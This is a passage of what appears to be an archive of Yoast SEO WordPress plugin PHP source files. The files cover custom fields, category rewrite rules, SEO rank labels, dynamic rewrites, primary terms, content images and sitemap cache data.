	$tax_meta = get_option( 'wpseo_taxonomy_meta', [] );

	if ( ! empty( $tax_meta[ $taxonomy ][ $old_term_id ] ) ) {
		$tax_meta[ $taxonomy ][ $new_term_id ] = $tax_meta[ $taxonomy ][ $old_term_id ];
		unset( $tax_meta[ $taxonomy ][ $old_term_id ] );
		update_option( 'wpseo_taxonomy_meta', $tax_meta );
	}
}

add_action( 'split_shared_term', 'wpseo_split_shared_term', 10, 4 );

/**
 * Get all WPSEO related capabilities.
 *
 * @since 8.3
 * @return array
 */
function wpseo_get_capabilities() {
	if ( ! did_action( 'wpseo_register_capabilities' ) ) {
		do_action( 'wpseo_register_capabilities' );
	}
	return WPSEO_Capability_Manager_Factory::get()->get_capabilities();
}
wordpress-seo/inc/class-wpseo-custom-fields.php000064400000003346147510273100015664 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * WPSEO_Custom_Fields.
 */
class WPSEO_Custom_Fields {

	/**
	 * Custom fields cache.
	 *
	 * @var array
	 */
	protected static $custom_fields = null;

	/**
	 * Retrieves the custom field names as an array.
	 *
	 * @link WordPress core: wp-admin/includes/template.php. Reused query from it.
	 *
	 * @return array The custom fields.
	 */
	public static function get_custom_fields() {
		global $wpdb;

		// Use cached value if available.
		if ( ! is_null( self::$custom_fields ) ) {
			return self::$custom_fields;
		}

		self::$custom_fields = [];

		/**
		 * Filters the number of custom fields to retrieve for the drop-down
		 * in the Custom Fields meta box.
		 *
		 * @param int $limit Number of custom fields to retrieve. Default 30.
		 */
		$limit  = apply_filters( 'postmeta_form_limit', 30 );
		$sql    = "SELECT DISTINCT meta_key
			FROM $wpdb->postmeta
			WHERE meta_key NOT BETWEEN '_' AND '_z' AND SUBSTRING(meta_key, 1, 1) != '_'
			LIMIT %d";
		$fields = $wpdb->get_col( $wpdb->prepare( $sql, $limit ) );

		/**
		 * Filters the custom fields that are auto-completed and replaced as replacement variables
		 * in the meta box and sidebar.
		 *
		 * @param string[] $fields The custom field names.
		 */
		$fields = apply_filters( 'wpseo_replacement_variables_custom_fields', $fields );

		if ( is_array( $fields ) ) {
			self::$custom_fields = array_map( [ 'WPSEO_Custom_Fields', 'add_custom_field_prefix' ], $fields );
		}

		return self::$custom_fields;
	}

	/**
	 * Adds the cf_ prefix to a field.
	 *
	 * @param string $field The field to prefix.
	 *
	 * @return string The prefixed field.
	 */
	private static function add_custom_field_prefix( $field ) {
		return 'cf_' . $field;
	}
}
wordpress-seo/inc/class-rewrite.php000064400000017121147510273100013430 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Frontend
 */

/**
 * This code handles the category rewrites.
 */
class WPSEO_Rewrite {

	/**
	 * Class constructor.
	 */
	public function __construct() {
		add_filter( 'query_vars', [ $this, 'query_vars' ] );
		add_filter( 'term_link', [ $this, 'no_category_base' ], 10, 3 );
		add_filter( 'request', [ $this, 'request' ] );
		add_filter( 'category_rewrite_rules', [ $this, 'category_rewrite_rules_wrapper' ] );

		add_action( 'created_category', [ $this, 'schedule_flush' ] );
		add_action( 'edited_category', [ $this, 'schedule_flush' ] );
		add_action( 'delete_category', [ $this, 'schedule_flush' ] );
	}

	/**
	 * Trigger a rewrite_rule flush on shutdown.
	 *
	 * @since 1.2.8
	 *
	 * @return void
	 */
	public function schedule_flush() {
		if ( WPSEO_Options::get( 'stripcategorybase' ) === true ) {
			add_action( 'shutdown', 'flush_rewrite_rules' );
		}
	}

	/**
	 * Override the category link to remove the category base.
	 *
	 * @param string  $link     Term link, overridden by the function for categories.
	 * @param WP_Term $term     Unused, term object.
	 * @param string  $taxonomy Taxonomy slug.
	 *
	 * @return string
	 */
	public function no_category_base( $link, $term, $taxonomy ) {
		if ( WPSEO_Options::get( 'stripcategorybase' ) !== true ) {
			return $link;
		}

		if ( $taxonomy !== 'category' ) {
			return $link;
		}

		$category_base = get_option( 'category_base' );

		if ( empty( $category_base ) ) {
			$category_base = 'category';
		}

		/*
		 * Remove initial slash, if there is one (we remove the trailing slash
		 * in the regex replacement and don't want to end up short a slash).
		 */
		if ( substr( $category_base, 0, 1 ) === '/' ) {
			$category_base = substr( $category_base, 1 );
		}

		$category_base .= '/';

		return preg_replace( '`' . preg_quote( $category_base, '`' ) . '`u', '', $link, 1 );
	}

	/**
	 * Update the query vars with the redirect var when stripcategorybase is active.
	 *
	 * @param array<string> $query_vars Main query vars to filter.
	 *
	 * @return array<string> The query vars.
	 */
	public function query_vars( $query_vars ) {
		if ( WPSEO_Options::get( 'stripcategorybase' ) === true ) {
			$query_vars[] = 'wpseo_category_redirect';
		}

		return $query_vars;
	}

	/**
	 * Checks whether the redirect needs to be created.
	 *
	 * @param array<string> $query_vars Query vars to check for existence of redirect var.
	 *
	 * @return array<string> The query vars.
	 */
	public function request( $query_vars ) {
		if ( WPSEO_Options::get( 'stripcategorybase' ) !== true ) {
			return $query_vars;
		}

		if ( ! isset( $query_vars['wpseo_category_redirect'] ) ) {
			return $query_vars;
		}

		$this->redirect( $query_vars['wpseo_category_redirect'] );
		return [];
	}

	/**
	 * Wrapper for the category_rewrite_rules() below, so we can add the $rules param in a BC way.
	 *
	 * @param array<string> $rules Rewrite rules generated for the current permastruct, keyed by their regex pattern.
	 *
	 * @return array<string> The category rewrite rules.
	 */
	public function category_rewrite_rules_wrapper( $rules ) {
		if ( WPSEO_Options::get( 'stripcategorybase' ) !== true ) {
			return $rules;
		}

		return $this->category_rewrite_rules();
	}

	/**
	 * This function taken and only slightly adapted from WP No Category Base plugin by Saurabh Gupta.
	 *
	 * @return array<string> The category rewrite rules.
	 */
	public function category_rewrite_rules() {
		global $wp_rewrite;

		$category_rewrite = [];

		$taxonomy            = get_taxonomy( 'category' );
		$permalink_structure = get_option( 'permalink_structure' );

		$blog_prefix = '';
		if ( strpos( $permalink_structure, '/blog/' ) === 0 ) {
			if ( ( is_multisite() && ! is_subdomain_install() ) || is_main_site() || is_main_network() ) {
				$blog_prefix = 'blog/';
			}
		}

		$categories = get_categories( [ 'hide_empty' => false ] );
		if ( is_array( $categories ) && $categories !== [] ) {
			foreach ( $categories as $category ) {
				$category_nicename = $category->slug;
				if ( $category->parent === $category->cat_ID ) {
					// Recursive recursion.
					$category->parent = 0;
				}
				elseif ( $taxonomy->rewrite['hierarchical'] !== false && $category->parent !== 0 ) {
						$parents = get_category_parents( $category->parent, false, '/', true );
					if ( ! is_wp_error( $parents ) ) {
						$category_nicename = $parents . $category_nicename;
					}
					unset( $parents );
				}

				$category_rewrite = $this->add_category_rewrites( $category_rewrite, $category_nicename, $blog_prefix, $wp_rewrite->pagination_base );

				// Adds rules for the uppercase encoded URIs.
				$category_nicename_filtered = $this->convert_encoded_to_upper( $category_nicename );

				if ( $category_nicename_filtered !== $category_nicename ) {
					$category_rewrite = $this->add_category_rewrites( $category_rewrite, $category_nicename_filtered, $blog_prefix, $wp_rewrite->pagination_base );
				}
			}
			unset( $categories, $category, $category_nicename, $category_nicename_filtered );
		}

		// Redirect support from Old Category Base.
		$old_base                            = $wp_rewrite->get_category_permastruct();
		$old_base                            = str_replace( '%category%', '(.+)', $old_base );
		$old_base                            = trim( $old_base, '/' );
		$category_rewrite[ $old_base . '$' ] = 'index.php?wpseo_category_redirect=$matches[1]';

		return $category_rewrite;
	}

	/**
	 * Adds required category rewrites rules.
	 *
	 * @param array<string> $rewrites        The current set of rules.
	 * @param string        $category_name   Category nicename.
	 * @param string        $blog_prefix     Multisite blog prefix.
	 * @param string        $pagination_base WP_Query pagination base.
	 *
	 * @return array<string> The added set of rules.
	 */
	protected function add_category_rewrites( $rewrites, $category_name, $blog_prefix, $pagination_base ) {
		$rewrite_name = $blog_prefix . '(' . $category_name . ')';

		global $wp_rewrite;
		$feed_regex = '(' . implode( '|', $wp_rewrite->feeds ) . ')';

		$rewrites[ $rewrite_name . '/(?:feed/)?' . $feed_regex . '/?$' ]         = 'index.php?category_name=$matches[1]&feed=$matches[2]';
		$rewrites[ $rewrite_name . '/' . $pagination_base . '/?([0-9]{1,})/?$' ] = 'index.php?category_name=$matches[1]&paged=$matches[2]';
		$rewrites[ $rewrite_name . '/?$' ]                                       = 'index.php?category_name=$matches[1]';

		return $rewrites;
	}

	/**
	 * Walks through category nicename and convert encoded parts
	 * into uppercase using $this->encode_to_upper().
	 *
	 * @param string $name The encoded category URI string.
	 *
	 * @return string The convered URI string.
	 */
	protected function convert_encoded_to_upper( $name ) {
		// Checks if name has any encoding in it.
		if ( strpos( $name, '%' ) === false ) {
			return $name;
		}

		$names = explode( '/', $name );
		$names = array_map( [ $this, 'encode_to_upper' ], $names );

		return implode( '/', $names );
	}

	/**
	 * Converts the encoded URI string to uppercase.
	 *
	 * @param string $encoded The encoded string.
	 *
	 * @return string The uppercased string.
	 */
	public function encode_to_upper( $encoded ) {
		if ( strpos( $encoded, '%' ) === false ) {
			return $encoded;
		}

		return strtoupper( $encoded );
	}

	/**
	 * Redirect the "old" category URL to the new one.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $category_redirect The category page to redirect to.
	 * @return void
	 */
	protected function redirect( $category_redirect ) {
		$catlink = trailingslashit( get_option( 'home' ) ) . user_trailingslashit( $category_redirect, 'category' );

		wp_safe_redirect( $catlink, 301, 'Yoast SEO' );
		exit;
	}
}
wordpress-seo/inc/class-wpseo-rank.php000064400000016574147510273100014050 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Holder for SEO Rank information.
 */
class WPSEO_Rank {

	/**
	 * Constant used for determining a bad SEO rating.
	 *
	 * @var string
	 */
	public const BAD = 'bad';

	/**
	 * Constant used for determining an OK SEO rating.
	 *
	 * @var string
	 */
	public const OK = 'ok';

	/**
	 * Constant used for determining a good SEO rating.
	 *
	 * @var string
	 */
	public const GOOD = 'good';

	/**
	 * Constant used for determining that no focus keyphrase is set.
	 *
	 * @var string
	 */
	public const NO_FOCUS = 'na';

	/**
	 * Constant used for determining that this content is not indexed.
	 *
	 * @var string
	 */
	public const NO_INDEX = 'noindex';

	/**
	 * All possible ranks.
	 *
	 * @var array
	 */
	protected static $ranks = [
		self::BAD,
		self::OK,
		self::GOOD,
		self::NO_FOCUS,
		self::NO_INDEX,
	];

	/**
	 * Holds the translation from seo score slug to actual score range.
	 *
	 * @var array
	 */
	protected static $ranges = [
		self::NO_FOCUS => [
			'start' => 0,
			'end'   => 0,
		],
		self::BAD => [
			'start' => 1,
			'end'   => 40,
		],
		self::OK => [
			'start' => 41,
			'end'   => 70,
		],
		self::GOOD => [
			'start' => 71,
			'end'   => 100,
		],
	];

	/**
	 * The current rank.
	 *
	 * @var int
	 */
	protected $rank;

	/**
	 * WPSEO_Rank constructor.
	 *
	 * @param int $rank The actual rank.
	 */
	public function __construct( $rank ) {
		if ( ! in_array( $rank, self::$ranks, true ) ) {
			$rank = self::BAD;
		}

		$this->rank = $rank;
	}

	/**
	 * Returns the saved rank for this rank.
	 *
	 * @return string
	 */
	public function get_rank() {
		return $this->rank;
	}

	/**
	 * Returns a CSS class for this rank.
	 *
	 * @return string
	 */
	public function get_css_class() {
		$labels = [
			self::NO_FOCUS => 'na',
			self::NO_INDEX => 'noindex',
			self::BAD      => 'bad',
			self::OK       => 'ok',
			self::GOOD     => 'good',
		];

		return $labels[ $this->rank ];
	}

	/**
	 * Returns a label for this rank.
	 *
	 * @return string
	 */
	public function get_label() {
		$labels = [
			self::NO_FOCUS => __( 'Not available', 'wordpress-seo' ),
			self::NO_INDEX => __( 'No index', 'wordpress-seo' ),
			self::BAD      => __( 'Needs improvement', 'wordpress-seo' ),
			self::OK       => __( 'OK', 'wordpress-seo' ),
			self::GOOD     => __( 'Good', 'wordpress-seo' ),
		];

		return $labels[ $this->rank ];
	}

	/**
	 * Returns an inclusive language label for this rank.
	 * The only difference with get_label above is that we return "Potentially non-inclusive" for an OK rank.
	 *
	 * @return string
	 */
	public function get_inclusive_language_label() {
		if ( $this->rank === self::OK ) {
			return __( 'Potentially non-inclusive', 'wordpress-seo' );
		}
		return $this->get_label();
	}

	/**
	 * Returns a label for use in a drop down.
	 *
	 * @return mixed
	 */
	public function get_drop_down_label() {
		$labels = [
			self::NO_FOCUS => sprintf(
				/* translators: %s expands to the SEO score */
				__( 'SEO: %s', 'wordpress-seo' ),
				__( 'No Focus Keyphrase', 'wordpress-seo' )
			),
			self::BAD => sprintf(
				/* translators: %s expands to the SEO score */
				__( 'SEO: %s', 'wordpress-seo' ),
				__( 'Needs improvement', 'wordpress-seo' )
			),
			self::OK => sprintf(
				/* translators: %s expands to the SEO score */
				__( 'SEO: %s', 'wordpress-seo' ),
				__( 'OK', 'wordpress-seo' )
			),
			self::GOOD => sprintf(
				/* translators: %s expands to the SEO score */
				__( 'SEO: %s', 'wordpress-seo' ),
				__( 'Good', 'wordpress-seo' )
			),
			self::NO_INDEX => sprintf(
				/* translators: %s expands to the SEO score */
				__( 'SEO: %s', 'wordpress-seo' ),
				__( 'Post Noindexed', 'wordpress-seo' )
			),
		];

		return $labels[ $this->rank ];
	}

	/**
	 * Gets the drop down labels for the readability score.
	 *
	 * @return string The readability rank label.
	 */
	public function get_drop_down_readability_labels() {
		$labels = [
			self::BAD => sprintf(
				/* translators: %s expands to the readability score */
				__( 'Readability: %s', 'wordpress-seo' ),
				__( 'Needs improvement', 'wordpress-seo' )
			),
			self::OK => sprintf(
				/* translators: %s expands to the readability score */
				__( 'Readability: %s', 'wordpress-seo' ),
				__( 'OK', 'wordpress-seo' )
			),
			self::GOOD => sprintf(
				/* translators: %s expands to the readability score */
				__( 'Readability: %s', 'wordpress-seo' ),
				__( 'Good', 'wordpress-seo' )
			),
			self::NO_FOCUS => sprintf(
			/* translators: %s expands to the readability score */
				__( 'Readability: %s', 'wordpress-seo' ),
				__( 'Not analyzed', 'wordpress-seo' )
			),
		];

		return $labels[ $this->rank ];
	}

	/**
	 * Gets the drop down labels for the inclusive language score.
	 *
	 * @return string The inclusive language rank label.
	 */
	public function get_drop_down_inclusive_language_labels() {
		$labels = [
			self::BAD => sprintf(
			/* translators: %s expands to the inclusive language score */
				__( 'Inclusive language: %s', 'wordpress-seo' ),
				__( 'Needs improvement', 'wordpress-seo' )
			),
			self::OK => sprintf(
			/* translators: %s expands to the inclusive language score */
				__( 'Inclusive language: %s', 'wordpress-seo' ),
				__( 'Potentially non-inclusive', 'wordpress-seo' )
			),
			self::GOOD => sprintf(
			/* translators: %s expands to the inclusive language score */
				__( 'Inclusive language: %s', 'wordpress-seo' ),
				__( 'Good', 'wordpress-seo' )
			),
		];

		return $labels[ $this->rank ];
	}

	/**
	 * Get the starting score for this rank.
	 *
	 * @return int The start score.
	 */
	public function get_starting_score() {
		// No index does not have a starting score.
		if ( $this->rank === self::NO_INDEX ) {
			return -1;
		}

		return self::$ranges[ $this->rank ]['start'];
	}

	/**
	 * Get the ending score for this rank.
	 *
	 * @return int The end score.
	 */
	public function get_end_score() {
		// No index does not have an end score.
		if ( $this->rank === self::NO_INDEX ) {
			return -1;
		}

		return self::$ranges[ $this->rank ]['end'];
	}

	/**
	 * Returns a rank for a specific numeric score.
	 *
	 * @param int $score The score to determine a rank for.
	 *
	 * @return self
	 */
	public static function from_numeric_score( $score ) {
		// Set up the default value.
		$rank = new self( self::BAD );

		foreach ( self::$ranges as $rank_index => $range ) {
			if ( $range['start'] <= $score && $score <= $range['end'] ) {
				$rank = new self( $rank_index );
				break;
			}
		}

		return $rank;
	}

	/**
	 * Returns a list of all possible SEO Ranks.
	 *
	 * @return WPSEO_Rank[]
	 */
	public static function get_all_ranks() {
		return array_map( [ 'WPSEO_Rank', 'create_rank' ], self::$ranks );
	}

	/**
	 * Returns a list of all possible Readability Ranks.
	 *
	 * @return WPSEO_Rank[]
	 */
	public static function get_all_readability_ranks() {
		return array_map( [ 'WPSEO_Rank', 'create_rank' ], [ self::BAD, self::OK, self::GOOD, self::NO_FOCUS ] );
	}

	/**
	 * Returns a list of all possible Inclusive Language Ranks.
	 *
	 * @return WPSEO_Rank[]
	 */
	public static function get_all_inclusive_language_ranks() {
		return array_map( [ 'WPSEO_Rank', 'create_rank' ], [ self::BAD, self::OK, self::GOOD ] );
	}

	/**
	 * Converts a numeric rank into a WPSEO_Rank object, for use in functional array_* functions.
	 *
	 * @param string $rank SEO Rank.
	 *
	 * @return WPSEO_Rank
	 */
	private static function create_rank( $rank ) {
		return new self( $rank );
	}
}
wordpress-seo/inc/wpseo-non-ajax-functions.php000064400000003071147510273100015517 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * Initializes the admin bar.
 *
 * @return void
 */
function wpseo_initialize_admin_bar() {
	$admin_bar_menu = new WPSEO_Admin_Bar_Menu();
	$admin_bar_menu->register_hooks();
}
add_action( 'wp_loaded', 'wpseo_initialize_admin_bar' );

/**
 * Allows editing of the meta fields through weblog editors like Marsedit.
 *
 * @param array $required_capabilities Capabilities that must all be true to allow action.
 * @param array $capabilities          Array of capabilities to be checked, unused here.
 * @param array $args                  List of arguments for the specific capabilities to be checked.
 *
 * @return array Filtered capabilities.
 */
function allow_custom_field_edits( $required_capabilities, $capabilities, $args ) {
	if ( ! in_array( $args[0], [ 'edit_post_meta', 'add_post_meta' ], true ) ) {
		return $required_capabilities;
	}

	// If this is provided, it is the post ID.
	if ( empty( $args[2] ) ) {
		return $required_capabilities;
	}

	// If this is provided, it is the custom field.
	if ( empty( $args[3] ) ) {
		return $required_capabilities;
	}

	// If the meta key is part of the plugin, grant capabilities accordingly.
	if ( strpos( $args[3], WPSEO_Meta::$meta_prefix ) === 0 && current_user_can( 'edit_post', $args[2] ) ) {
		$required_capabilities[ $args[0] ] = true;
	}

	return $required_capabilities;
}

add_filter( 'user_has_cap', 'allow_custom_field_edits', 0, 3 );
wordpress-seo/inc/class-yoast-dynamic-rewrites.php000064400000012361147510273100016373 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Class containing an alternative rewrite rules API for handling them dynamically without requiring flushing rules.
 */
class Yoast_Dynamic_Rewrites implements WPSEO_WordPress_Integration {

	/**
	 * Additional rewrite rules with high priority.
	 *
	 * @var array
	 */
	protected $extra_rules_top = [];

	/**
	 * Additional rewrite rules with low priority.
	 *
	 * @var array
	 */
	protected $extra_rules_bottom = [];

	/**
	 * Main instance holder.
	 *
	 * @var self|null
	 */
	protected static $instance = null;

	/**
	 * WP_Rewrite instance to use.
	 *
	 * @var WP_Rewrite
	 */
	public $wp_rewrite;

	/**
	 * Gets the main instance of the class.
	 *
	 * @return self Dynamic rewrites main instance.
	 */
	public static function instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
			self::$instance->register_hooks();
		}

		return self::$instance;
	}

	/**
	 * Constructor.
	 *
	 * Sets the WP_Rewrite instance to use.
	 *
	 * @param WP_Rewrite|null $rewrite Optional. WP_Rewrite instance to use. Default is the $wp_rewrite global.
	 * @throws RuntimeException Throws an exception if the $wp_rewrite global is not set.
	 */
	public function __construct( $rewrite = null ) {
		if ( ! $rewrite ) {
			if ( empty( $GLOBALS['wp_rewrite'] ) ) {
				/* translators: 1: PHP class name, 2: PHP variable name */
				throw new RuntimeException( sprintf( __( 'The %1$s class must not be instantiated before the %2$s global is set.', 'wordpress-seo' ), self::class, '$wp_rewrite' ) );
			}

			$rewrite = $GLOBALS['wp_rewrite'];
		}

		$this->wp_rewrite = $rewrite;
	}

	/**
	 * Registers all necessary hooks with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'init', [ $this, 'trigger_dynamic_rewrite_rules_hook' ], 1 );
		add_filter( 'option_rewrite_rules', [ $this, 'filter_rewrite_rules_option' ] );
		add_filter( 'sanitize_option_rewrite_rules', [ $this, 'sanitize_rewrite_rules_option' ] );
	}

	/**
	 * Adds a dynamic rewrite rule that transforms a URL structure to a set of query vars.
	 *
	 * Rules registered with this method are applied dynamically and do not require the rewrite rules
	 * to be flushed in order to become active, which is a benefit over the regular WordPress core API.
	 * Note however that the dynamic application only works for rules that correspond to index.php.
	 * Non-WordPress rewrite rules still require flushing.
	 *
	 * Any value in the $after parameter that isn't 'bottom' will result in the rule
	 * being placed at the top of the rewrite rules.
	 *
	 * @param string       $regex    Regular expression to match request against.
	 * @param string|array $query    The corresponding query vars for this rewrite rule.
	 * @param string       $priority Optional. Priority of the new rule. Accepts 'top'
	 *                               or 'bottom'. Default 'bottom'.
	 *
	 * @return void
	 */
	public function add_rule( $regex, $query, $priority = 'bottom' ) {
		if ( is_array( $query ) ) {
			$query = add_query_arg( $query, 'index.php' );
		}

		$this->wp_rewrite->add_rule( $regex, $query, $priority );

		// Do not further handle external rules.
		if ( substr( $query, 0, strlen( $this->wp_rewrite->index . '?' ) ) !== $this->wp_rewrite->index . '?' ) {
			return;
		}

		if ( $priority === 'bottom' ) {
			$this->extra_rules_bottom[ $regex ] = $query;
			return;
		}

		$this->extra_rules_top[ $regex ] = $query;
	}

	/**
	 * Triggers the hook on which rewrite rules should be added.
	 *
	 * This allows for a more specific point in time from the generic `init` hook where this is
	 * otherwise handled.
	 *
	 * @return void
	 */
	public function trigger_dynamic_rewrite_rules_hook() {

		/**
		 * Fires when the plugin's dynamic rewrite rules should be added.
		 *
		 * @param self $dynamic_rewrites Dynamic rewrites handler instance. Use its `add_rule()` method
		 *                               to add dynamic rewrite rules.
		 */
		do_action( 'yoast_add_dynamic_rewrite_rules', $this );
	}

	/**
	 * Filters the rewrite rules option to dynamically add additional rewrite rules.
	 *
	 * @param array|string $rewrite_rules Array of rewrite rule $regex => $query pairs, or empty string
	 *                                    if currently not set.
	 *
	 * @return array|string Filtered value of $rewrite_rules.
	 */
	public function filter_rewrite_rules_option( $rewrite_rules ) {
		// Do not add extra rewrite rules if the rules need to be flushed.
		if ( empty( $rewrite_rules ) ) {
			return $rewrite_rules;
		}

		return array_merge( $this->extra_rules_top, $rewrite_rules, $this->extra_rules_bottom );
	}

	/**
	 * Sanitizes the rewrite rules option prior to writing it to the database.
	 *
	 * This method ensures that the dynamic rewrite rules do not become part of the actual option.
	 *
	 * @param array|string $rewrite_rules Array pf rewrite rule $regex => $query pairs, or empty string
	 *                                    in order to unset.
	 *
	 * @return array|string Filtered value of $rewrite_rules before writing the option.
	 */
	public function sanitize_rewrite_rules_option( $rewrite_rules ) {
		if ( empty( $rewrite_rules ) ) {
			return $rewrite_rules;
		}

		return array_diff_key( $rewrite_rules, $this->extra_rules_top, $this->extra_rules_bottom );
	}
}
wordpress-seo/inc/class-wpseo-primary-term.php000064400000003313147510273100015530 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * Represents a post's primary term.
 */
class WPSEO_Primary_Term {

	/**
	 * Taxonomy name for the term.
	 *
	 * @var string
	 */
	protected $taxonomy_name;

	/**
	 * Post ID for the term.
	 *
	 * @var int
	 */
	protected $post_ID;

	/**
	 * The taxonomy this term is part of.
	 *
	 * @param string $taxonomy_name Taxonomy name for the term.
	 * @param int    $post_id       Post ID for the term.
	 */
	public function __construct( $taxonomy_name, $post_id ) {
		$this->taxonomy_name = $taxonomy_name;
		$this->post_ID       = $post_id;
	}

	/**
	 * Returns the primary term ID.
	 *
	 * @return int|bool
	 */
	public function get_primary_term() {
		$primary_term = get_post_meta( $this->post_ID, WPSEO_Meta::$meta_prefix . 'primary_' . $this->taxonomy_name, true );

		if ( ! $primary_term ) {
			return false;
		}

		$terms = $this->get_terms();

		if ( ! in_array( (int) $primary_term, wp_list_pluck( $terms, 'term_id' ), true ) ) {
			$primary_term = false;
		}

		$primary_term = (int) $primary_term;
		return ( $primary_term ) ? ( $primary_term ) : false;
	}

	/**
	 * Sets the new primary term ID.
	 *
	 * @param int $new_primary_term New primary term ID.
	 *
	 * @return void
	 */
	public function set_primary_term( $new_primary_term ) {
		update_post_meta( $this->post_ID, WPSEO_Meta::$meta_prefix . 'primary_' . $this->taxonomy_name, $new_primary_term );
	}

	/**
	 * Get the terms for the current post ID.
	 * When $terms is not an array, set $terms to an array.
	 *
	 * @return array
	 */
	protected function get_terms() {
		$terms = get_the_terms( $this->post_ID, $this->taxonomy_name );

		if ( ! is_array( $terms ) ) {
			$terms = [];
		}

		return $terms;
	}
}
wordpress-seo/inc/class-wpseo-content-images.php000064400000005174147510273100016024 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * WPSEO_Content_Images.
 */
class WPSEO_Content_Images {

	/**
	 * Retrieves images from the post content.
	 *
	 * @param int          $post_id The post ID.
	 * @param WP_Post|null $post    The post object.
	 *
	 * @return array An array of images found in this post.
	 */
	public function get_images( $post_id, $post = null ) {
		return $this->get_images_from_content( $this->get_post_content( $post_id, $post ) );
	}

	/**
	 * Grabs the images from the content.
	 *
	 * @param string $content The post content string.
	 *
	 * @return array An array of image URLs.
	 */
	public function get_images_from_content( $content ) {
		if ( ! is_string( $content ) ) {
			return [];
		}

		$content_images = $this->get_img_tags_from_content( $content );

		$images = array_map( [ $this, 'get_img_tag_source' ], $content_images );
		$images = array_filter( $images );
		$images = array_unique( $images );
		$images = array_values( $images ); // Reset the array keys.
		return $images;
	}

	/**
	 * Gets the image tags from a given content string.
	 *
	 * @param string $content The content to search for image tags.
	 *
	 * @return array An array of `<img>` tags.
	 */
	private function get_img_tags_from_content( $content ) {
		if ( strpos( $content, '<img' ) === false ) {
			return [];
		}

		preg_match_all( '`<img [^>]+>`', $content, $matches );
		if ( isset( $matches[0] ) ) {
			return $matches[0];
		}

		return [];
	}

	/**
	 * Retrieves the image URL from an image tag.
	 *
	 * @param string $image Image HTML element.
	 *
	 * @return string|bool The image URL on success, false on failure.
	 */
	private function get_img_tag_source( $image ) {
		preg_match( '`src=(["\'])(.*?)\1`', $image, $matches );
		if ( isset( $matches[2] ) && filter_var( $matches[2], FILTER_VALIDATE_URL ) ) {
			return $matches[2];
		}
		return false;
	}

	/**
	 * Retrieves the post content we want to work with.
	 *
	 * @param int                $post_id The post ID.
	 * @param WP_Post|array|null $post    The post.
	 *
	 * @return string The content of the supplied post.
	 */
	private function get_post_content( $post_id, $post ) {
		if ( $post === null ) {
			$post = get_post( $post_id );
		}

		if ( $post === null ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_pre_analysis_post_content' - Allow filtering the content before analysis.
		 *
		 * @param string  $post_content The Post content string.
		 * @param WP_Post $post         The current post.
		 */
		$content = apply_filters( 'wpseo_pre_analysis_post_content', $post->post_content, $post );

		if ( ! is_string( $content ) ) {
			$content = '';
		}

		return $content;
	}
}
wordpress-seo/inc/sitemaps/class-sitemap-cache-data.php000064400000011376147510273100017214 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Sitemap Cache Data object, manages sitemap data stored in cache.
 */
class WPSEO_Sitemap_Cache_Data implements Serializable, WPSEO_Sitemap_Cache_Data_Interface {

	/**
	 * Sitemap XML data.
	 *
	 * @var string
	 */
	private $sitemap = '';

	/**
	 * Status of the sitemap, usable or not.
	 *
	 * @var string
	 */
	private $status = self::UNKNOWN;

	/**
	 * Set the sitemap XML data
	 *
	 * @param string $sitemap XML Content of the sitemap.
	 *
	 * @return void
	 */
	public function set_sitemap( $sitemap ) {

		if ( ! is_string( $sitemap ) ) {
			$sitemap = '';
		}

		$this->sitemap = $sitemap;

		/*
		 * Empty sitemap is not usable.
		 */
		if ( ! empty( $sitemap ) ) {
			$this->set_status( self::OK );
		}
		else {
			$this->set_status( self::ERROR );
		}
	}

	/**
	 * Set the status of the sitemap, is it usable.
	 *
	 * @param bool|string $usable Is the sitemap usable or not.
	 *
	 * @return void
	 */
	public function set_status( $usable ) {

		if ( $usable === self::OK ) {
			$this->status = self::OK;

			return;
		}

		if ( $usable === self::ERROR ) {
			$this->status  = self::ERROR;
			$this->sitemap = '';

			return;
		}

		$this->status = self::UNKNOWN;
	}

	/**
	 * Is the sitemap usable.
	 *
	 * @return bool True if usable, False if bad or unknown.
	 */
	public function is_usable() {

		return $this->status === self::OK;
	}

	/**
	 * Get the XML content of the sitemap.
	 *
	 * @return string The content of the sitemap.
	 */
	public function get_sitemap() {

		return $this->sitemap;
	}

	/**
	 * Get the status of the sitemap.
	 *
	 * @return string Status of the sitemap, 'ok'/'error'/'unknown'.
	 */
	public function get_status() {

		return $this->status;
	}

	/**
	 * String representation of object.
	 *
	 * {@internal This magic method is only "magic" as of PHP 7.4 in which the magic method was introduced.}
	 *
	 * @link https://www.php.net/language.oop5.magic#object.serialize
	 * @link https://wiki.php.net/rfc/custom_object_serialization
	 *
	 * @since 17.8.0
	 *
	 * @return array The data to be serialized.
	 */
	public function __serialize() { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__serializeFound

		$data = [
			'status' => $this->status,
			'xml'    => $this->sitemap,
		];

		return $data;
	}

	/**
	 * Constructs the object.
	 *
	 * {@internal This magic method is only "magic" as of PHP 7.4 in which the magic method was introduced.}
	 *
	 * @link https://www.php.net/language.oop5.magic#object.serialize
	 * @link https://wiki.php.net/rfc/custom_object_serialization
	 *
	 * @since 17.8.0
	 *
	 * @param array $data The unserialized data to use to (re)construct the object.
	 *
	 * @return void
	 */
	public function __unserialize( $data ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound

		$this->set_sitemap( $data['xml'] );
		$this->set_status( $data['status'] );
	}

	/**
	 * String representation of object.
	 *
	 * {@internal The magic methods take precedence over the Serializable interface.
	 * This means that in practice, this method will now only be called on PHP < 7.4.
